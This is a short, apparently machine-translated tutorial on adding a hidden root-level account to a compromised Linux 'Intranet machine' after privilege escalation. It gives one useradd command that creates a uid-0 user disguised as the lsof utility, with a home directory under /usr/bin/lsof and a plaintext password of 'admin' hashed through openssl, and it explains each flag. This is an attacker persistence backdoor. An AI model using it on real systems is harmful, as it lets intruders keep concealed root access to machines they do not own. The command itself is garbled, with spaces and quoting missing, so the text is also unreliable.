In linux, add a root account and set the password.

Adding an account to the Intranet machine with the privilege escalation without the ECHO will make it difficult to set the password. The following is a command to add a root-level account and set the password.

Useradd-p 'openssl passwd-1-salt 'lsof'admin'-u 0-o-g root-G root-s/bin/bash-d/usr/bin/lsof lsof

 

Command to explain how useradd user-p' openssl passwd-1-salt 'lsof'admin' refers to setting the user password, and The lsof in it is similar to the key, you can write at will, admin is the plaintext password-u 0-o to add a user whose uid is 0. The-g root-G root-g to add the user to the root group-s/bin/bash specify the shell path of the new user-d/usr/bin/lsof to create the user's home directory, you can customize the user name created by lsof.